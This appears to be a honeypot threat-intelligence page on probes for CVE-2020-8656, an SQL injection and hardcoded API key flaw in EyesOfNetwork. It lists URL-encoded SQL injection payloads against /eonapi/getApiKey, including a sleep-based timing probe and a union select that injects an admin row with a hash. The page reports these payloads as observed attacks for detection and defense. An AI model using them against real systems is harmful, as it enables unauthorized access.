CVE-2020-8656: EyesOfNetwork - Hardcoded API Key & SQL Injection

HoneyLabs honeypots recorded 6 probes matching CVE-2020-8656 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

Request paths that identify it

• /eonapi/getApiKey?username=%27%20union%20select%20sleep(6),0,0,0,0,0,0,0%20or%20%27
• /eonapi/getApiKey?&username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%2…

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /eonapi/getApiKey?username=%27%20union%20select%20sleep(6),0,0,0,0,0,0,0%20or%20%27

HTTP client fingerprints

• b11cun040_00040013_608dab68